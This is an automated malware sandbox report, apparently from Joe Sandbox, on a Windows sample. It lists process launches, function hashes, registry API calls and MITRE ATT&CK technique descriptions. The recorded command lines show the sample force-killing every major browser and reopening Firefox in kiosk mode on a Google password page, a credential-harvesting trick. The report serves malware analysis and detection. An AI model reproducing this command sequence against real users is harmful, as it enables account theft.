MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	12:23:07
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	12:23:08
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2028,i,793406942762232909,14917387105879316521,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	12:23:18
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	12:23:18
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	12:23:19
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	12:23:19
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	12:23:19
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	12:23:19
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	12:23:19
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	12:23:19
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	12:23:19
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6eef20000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	12:23:19
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	12:23:20
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe"
Imagebase:	0xd30000
File size:	922'624 bytes
MD5 hash:	B607F667B23F2E1A00ED1246555F3F09
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	12:23:20
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	12:23:20
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	12:23:22
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	12:23:22
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2032,i,12538894136535135273,9759131612578208541,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	12:23:25
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	12:23:25
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1996,i,8503345725967394971,11529639262021301947,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	12:23:25
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	12:23:25
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71e800000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	12:23:26
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	12:23:26
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	61
Start time:	12:23:26
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	12:23:26
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	12:23:26
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0x820000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	64
Start time:	12:23:26
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 053D0DAF Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1794655335.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eb829091ba9db1730b6f61b30791a1d320055540bb4603549b629fac8b72176
Instruction ID: a0048e103111aa0674102f6af81430928f10083c72fdc5a35e012fbe9b21053d
Opcode Fuzzy Hash: 2eb829091ba9db1730b6f61b30791a1d320055540bb4603549b629fac8b72176
Instruction Fuzzy Hash: BD11BAEB24D1607DB146C1867B18AFBA77ED5C6B30B318827F447C2946E2990E9D6132

Function 053D0D7A Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1794655335.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11b19ce995400e1c0cd3c37a687469c72fe5bfc9ccfe0c0bb2e9685e4415c559
Instruction ID: dbe2f9ba69a3a79ba136b61f298c0c3d98348b142e0241d7560b9273f816de16
Opcode Fuzzy Hash: 11b19ce995400e1c0cd3c37a687469c72fe5bfc9ccfe0c0bb2e9685e4415c559
Instruction Fuzzy Hash: 363105EF20C6507DB246C1917B1CAFAA77EE6C6E30734882BF403C6806E2854E8E2131

Function 053D0D1C Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1794655335.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7b717ba937a05559ce59f9d209f2e7904607e9a9646a4e765f59d91bfce68a1
Instruction ID: 5dfa8df3426c61a887bdedd2810001a119a1a9db39272627fea7ae0fb950f372
Opcode Fuzzy Hash: d7b717ba937a05559ce59f9d209f2e7904607e9a9646a4e765f59d91bfce68a1
Instruction Fuzzy Hash: C82107FB20D2507EB246C1917B68EFBAB7ED6CAB30730846BF402C7406E2550D8E6132

Function 053D0D5C Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1794655335.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbccb91af2d60f17284baa2162af3ea7ae3b6e655b9f01abf32b5a50da5d4ea0
Instruction ID: 51fc2eca98433f6c6bc638e354a9354b0f41644178263a7c2fcd65c8d94882cd
Opcode Fuzzy Hash: fbccb91af2d60f17284baa2162af3ea7ae3b6e655b9f01abf32b5a50da5d4ea0
Instruction Fuzzy Hash: 812160EF14D2507DB14AC1867B58AF7A77ED6C6F30B318467F443C2906E2994E4D6132

Function 053D0D55 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1794655335.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a40bf1ba716218d720bb88e0a603d4aafd0aa46bdedf8cfd1ebfd9a3accab060
Instruction ID: 61cecb6d11fc0bcc2f8d16ed52da6d74c0b86cbb91a748ed9d014803d1bbec57
Opcode Fuzzy Hash: a40bf1ba716218d720bb88e0a603d4aafd0aa46bdedf8cfd1ebfd9a3accab060
Instruction Fuzzy Hash: 241142EF14C2207DB14AD1867B58AFBA77EE1C6F30B308427F447C2906E2894E8D2131

Function 053D0D98 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1794655335.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dded35655bfd91c8f9b84ae54258dbaa1f1b918ecfab31e34800c93ffd556eaa
Instruction ID: 66678ddb17103e8cb92ced271315caf3d50df2a0f81a71f9427a0b3377adac59
Opcode Fuzzy Hash: dded35655bfd91c8f9b84ae54258dbaa1f1b918ecfab31e34800c93ffd556eaa
Instruction Fuzzy Hash: 8D110AEB24D2607DB146D1867B58AFBA77ED6C6B30B30C837F407C2906E2994E4D6132

Function 053D0DD5 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1794655335.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9c5c1d68d73fbe26e1daa8da451659dc2cc79c55c33d3e6aaad82fc5c19058e
Instruction ID: 0a3fd3b06ba58b764b8922c530026f04aaa790a535508f519de945f3f5e24d08
Opcode Fuzzy Hash: b9c5c1d68d73fbe26e1daa8da451659dc2cc79c55c33d3e6aaad82fc5c19058e
Instruction Fuzzy Hash: F30112EB10D6507DB146C1923B15EF7977ED5C6B30735C937F403C2946E2590A4E6132

Function 053D0E01 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1794655335.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e09448e674b8618b283ca5a022093eae4b9bbb96dd81e6481fb1600ad01b410c
Instruction ID: 70718a60381543f181d09686f5f3843046a18fd7b47a4aae839a0fad48372c1e
Opcode Fuzzy Hash: e09448e674b8618b283ca5a022093eae4b9bbb96dd81e6481fb1600ad01b410c
Instruction Fuzzy Hash: 1A0112EB54D5607CB146D1523B28AFB977ED1C6B30B31C837F443C2946E2990A9E2132

Function 053D0E1B Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1794655335.00000000053D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 053D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 011ee4d51660c332817c93940126482210f8d5aa0dc995a42f274295574d412a
Instruction ID: 4002bab07c0b1daa192bd379c3ed8237773de6e8bc247c7d192c1b478388ea05
Opcode Fuzzy Hash: 011ee4d51660c332817c93940126482210f8d5aa0dc995a42f274295574d412a
Instruction Fuzzy Hash: DBF0B7EB14D5207CB186C1823B19AFB976ED2C6B307758527F803C1946E2890A9D2132

Analysis Process: d015c0e328.exePID: 7632, Parent PID: 5740COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 0659CB2D Relevance: 4.6, APIs: 3, Instructions: 87
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0659D569
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0659D590
GetNativeSystemInfo.KERNEL32(?), ref: 0659D5E7

Memory Dump Source

Source File: 00000007.00000002.2928166711.0000000006599000.00000040.00000800.00020000.00000000.sdmp, Offset: 06400000, based on PE: true

Associated: 00000007.00000002.2927843242.0000000006400000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2927972288.0000000006402000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928042138.0000000006406000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.000000000640A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.000000000669E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.00000000066AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.00000000066AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6400000_d015c0e328.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: d49215311440525e217d10b06f1fe5af61cf7354bc830cae840e79bd11d2272a
Instruction ID: c6d8ad6e5ae5d6b9a140a106eedd4ca209205fd1cc2b8f40180d204122c10671
Opcode Fuzzy Hash: d49215311440525e217d10b06f1fe5af61cf7354bc830cae840e79bd11d2272a
Instruction Fuzzy Hash: 2741157141820EDFEF51EF55C849AEE7AF8FF05314F01091AA981C2952D3768CA4CF6A

Non-executed Functions

Function 065AE2BE Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2928166711.0000000006599000.00000040.00000800.00020000.00000000.sdmp, Offset: 06400000, based on PE: true

Associated: 00000007.00000002.2927843242.0000000006400000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2927972288.0000000006402000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928042138.0000000006406000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.000000000640A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.000000000669E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.00000000066AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.00000000066AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6400000_d015c0e328.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3f3d89fc3818fb11caec0ad719f22ee66c73f8bd55d3634b4f8980adfd468a7
Instruction ID: 740bfe80638f7aac1060d4540d4443219f33963ef62005f7f1cd52dc3a2cbf23
Opcode Fuzzy Hash: a3f3d89fc3818fb11caec0ad719f22ee66c73f8bd55d3634b4f8980adfd468a7
Instruction Fuzzy Hash: FC51C36044E7C19FD7178B3889AA6867FB0FE1720034E46DEC4C28F1A7E615984ADB63

Function 0115F8D4 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2798934875.000000000113E000.00000004.00000020.00020000.00000000.sdmp, Offset: 0113E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_113e000_d015c0e328.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 505354c72c301d5541530e1aa32714fdba523ae1800cdd3039ca8805248b5c15
Instruction ID: 75607386c0b45aa5e87d3dda72a1d3431d539d4a114e2e195a89a908f9dca869
Opcode Fuzzy Hash: 505354c72c301d5541530e1aa32714fdba523ae1800cdd3039ca8805248b5c15
Instruction Fuzzy Hash: 8541A13140E3D98FC72B8F3588A5252BFB0EF13640B1A05CFD4D19B1A3D7292909C792

Function 065A4679 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2928166711.0000000006599000.00000040.00000800.00020000.00000000.sdmp, Offset: 06400000, based on PE: true

Associated: 00000007.00000002.2927843242.0000000006400000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2927972288.0000000006402000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928042138.0000000006406000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.000000000640A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.000000000669E000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.00000000066AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2928166711.00000000066AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6400000_d015c0e328.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41122f4f34e9e37423f857fd589d26d1e1d5bd9e39ce889cff4640677c075c2b
Instruction ID: 6c4d5145c35df99b93f2b610b252bae3a9e8b648689fb872d93fcb7044d7c257
Opcode Fuzzy Hash: 41122f4f34e9e37423f857fd589d26d1e1d5bd9e39ce889cff4640677c075c2b
Instruction Fuzzy Hash: 77E04F760041019EC7019F54C85599FFBF8FF19320F648455F484CB722C2754851CB29

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

